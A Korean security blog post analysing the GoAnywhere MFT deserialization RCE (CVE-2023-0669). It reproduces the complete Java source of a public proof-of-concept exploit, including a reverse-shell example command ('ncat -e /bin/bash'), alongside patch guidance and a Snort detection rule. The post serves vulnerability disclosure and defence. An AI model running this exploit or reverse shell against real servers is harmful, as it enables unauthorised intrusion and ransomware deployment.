1. GoAnywhere MFT
- 포트라(Fortra)에서 개발한 파일 전송 애플리케이션
2. 취약점 [1]
- GoAnywhere MFT는 공격자가 조작한 역직렬화 데이터에대한 검증을 수행하지않아 발생하는 원격 명령 실행 취약점
- 공격자들은 해당 취약점을 악용하여 클롭(Clop) 랜섬웨어를 유포하는 중
영향받는 버전
- GoAnywhere MFT < 7.1.2
2.1 분석 [3][4]
- 취약점은 POST 요청을 처리하는 LicenseResponseServlet에서 발생
- bundle 파라미터를 getParameter()로 str1에 저장 후 LicenseAPI.getResponse()의 매개변수로 전달
- bundle 파라미터를 LicenseAPI.getResponse()의 매개변수로 전달하는 과정에 적절한 검증이 수행되지 않음
- LicenseAPI.getResponse()는 BundleWorker.unbundle() 호출
- BundleWorker.unbundle()는 decode()를 호출 및 복호화 후 verify()에서 서명을 검증
- 공격자는 다음의 과정을 거치는 것으로 판단됨
① 조작된 bundle 역직렬화 데이터를 서버에서 제공하는 암복호화 정보에 맞춰 암호화 한 후 서버에 전송
② 역직렬화 데이터를 직렬화하는 과정에서 공격자가 삽입한 원격 명령이 수행
2.2 PoC [5]
① 원격 명령이 포함한 암호화된 bundle 매개변수 생성
② /goanywhere/lic/accept URL에 조작된 역직렬화 bundle 매개변수를 전달
package org.gaw;
import org.gaw.linoma.Cryptor;
import cn.hutool.http.HttpResponse;
import org.gaw.utils.Http;
import org.apache.commons.cli.*;
import org.apache.commons.lang.StringUtils;
import java.net.MalformedURLException;
import java.net.URL;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
import java.lang.*;
public class Exploit {
static final String banner = " _______ ________ ___ ____ ___ _____ ____ " +
"_____ _____ ____ \n" +
" / ____/ | / / ____/ |__ \\ / __ \\__ \\|__ / / __ \\/ ___// ___// __ \\\n" +
" / / | | / / __/________/ // / / /_/ / /_ <______/ / / / __ \\/ __ \\/ /_/ /\n" +
"/ /___ | |/ / /__/_____/ __// /_/ / __/___/ /_____/ /_/ / /_/ / /_/ /\\__, / \n" +
"\\____/ |___/_____/ /____/\\____/____/____/ \\____/\\____/\\____//____/ \n" +
" ";
// https://patorjk.com/software/taag/#p=display&f=Slant&t=CVE-2023-0669
public static void printUsage(Options options) {
HelpFormatter formatter = new HelpFormatter();
System.out.println("GoAnywhere MFT suffers from a pre-authentication command injection vulnerability in the License Response Servlet due to deserializing an arbitrary attacker-controlled object.\n");
formatter.printHelp("Options", options);
System.out.println("\nExample: ");
System.out.println("java -jar CVE-2023-0669.jar -p http://127.0.0.1:8080 " +
"-t https://192.168.1.1 -c 'ncat -e /bin/bash 192.168.1.2 4444'");
System.out.println("java -jar CVE-2023-0669.jar -e ./payload.ser\n");
}
public static void main(String[] args) {
System.out.println("\n"+banner);
Options options = new Options();
options.addOption("h", "help", false,"Print help information");
options.addOption("t", "target", true, "Target URL");
options.addOption("path", true, "Target Endpoint, default: /goanywhere/lic/accept");
options.addOption("p", "proxy", true, "Proxy Address, eg: http://127.0.0.1:8080");
options.addOption("c", "command", true, "Expected commands to be executed");
options.addOption("e", "encrypt", true,"Encrypt the specified deserialized content");
options.addOption("v", "version", true,"Version Encryption, 1/2, default: 1");
options.addOption("timeout", true,"Http Requests Timeout, default: 20");
CommandLineParser parser = new BasicParser();
try {
CommandLine cli = parser.parse(options, args);
String version = cli.getOptionValue("v");
version = (version == null)?"1":"2";
if (cli.hasOption("h")) {
printUsage(options);
} else if (cli.hasOption("e")) {
String filename = cli.getOptionValue("e");
Path path = Paths.get(filename);
byte[] data = Files.readAllBytes(path);
System.out.println("[*] Files expected to be encrypted: " + filename);
System.out.println("[*] Version Encryption: " + version);
String bundle = Cryptor.main(data, version);
System.out.println("[+] Successful encryption: " + bundle);
} else if (cli.hasOption("t") && cli.hasOption("c")) {
String target = cli.getOptionValue("t");
System.out.println("[*] Target: " + target);
String path = cli.getOptionValue("path");
path = (path == null)?"/goanywhere/lic/accept":path;
System.out.println("[*] Path: " + path);
String proxy = cli.getOptionValue("p");
System.out.println("[*] Proxy: " + proxy);
String command = cli.getOptionValue("c");
System.out.println("[*] Command: " + command);
System.out.println("[*] Version Encryption: " + version);
byte[] deserData = GenerateEvilPayload.main(command, "CommonsBeanutils1");
String bundle = Cryptor.main(deserData, version);
System.out.println("[+] Successful encryption: " + StringUtils.left(bundle, 50) +
"...");
String timeout = cli.getOptionValue("timeout");
timeout = (timeout == null)?"20":timeout;
System.out.println("[*] Timeout: " + timeout + "s");
int to = Integer.parseInt(timeout) * 1000;
Exploit(target, path, bundle, proxy, to);
} else {
printUsage(options);
}
} catch (Exception e) {
e.printStackTrace();
}
}
public static void Exploit(String target, String path, String body, String proxyURL,
int timeout) throws MalformedURLException {
URL url = new URL(target);
String rootURL = url.getProtocol() + "://" + url.getAuthority();
String bundleBody = "bundle=" + body;
Map<String, String> headers = new HashMap<>();
headers.put("Content-Type", "application/x-www-form-urlencoded");
System.out.println("[*] Exploiting...");
HttpResponse r = Http.post(rootURL+path, bundleBody, headers ,proxyURL, timeout);
if (r.getStatus() == 500 && r.body().contains("Requested URL: /goanywhere/lic/accept")) {
System.out.println("[+] The exploit has been completed, please check.");
} else{
System.out.println("[-] Exploit Failed");
}
}
}
3. 대응방안
3.1 서버측면
① GoAnywhere MFT 7.1.2 업데이트 적용
- SessionUtilities.isLicenseRequestTokenValid()를 추가하여 라이센스 검증을 수행
> 라이센싱 요청을 수행할 때 생성되고 세션에 저장된 임의 UUID를 확인함
② 추가 대응
- 벤더사에서는 2가지 완화 방안을 제공
> 시스템에서 만든 계정 등 의심스러운 계정이 있는지 확인
> GoAnywhere MFT가 설치된 파일 시스템에서 [install_dir]/adminroot/WEB-INF/web.xml 파일 편집
3.2 네트워크 측면
- 보안 장비에 탐지 패턴 적용
alert tcp any any -> any any (msg:"Fortra GoAnywhere MFT RCE (CVE-2023-0669)"; content:"/goanywhere/lic/accept";flow:to_server,established;fast_pattern:only;http_uri; content:"bundle"; nocase;)
4. 참고
[1] https://nvd.nist.gov/vuln/detail/CVE-2023-0669
[2] https://www.tenable.com/cve/CVE-2023-0669
[4] https://www.pingsafe.com/blog/fortra-goanywhere-mft-rce-vulnerability
[5] https://github.com/0xf4n9x/CVE-2023-0669
[6] https://www.boannews.com/media/view.asp?idx=114180
'취약점 > RCE' 카테고리의 다른 글
Microsoft Message Queuing RCE (CVE-2023-21554) (0) | 2023.04.16 |
---|---|
WinVerifyTrust 서명 유효성 검사 취약성 (CVE-2013-3900) (0) | 2023.04.06 |
FortiNAC HTTP Request RCE (CVE-2022-39952) (0) | 2023.02.22 |
VMware ESXi OpenSLP 힙 오버플로를 통한 RCE (CVE-2021-21974) (0) | 2023.02.15 |
Oracle WebLogic RCE 역직렬화 취약점 (CVE-2018-2628) (0) | 2023.01.18 |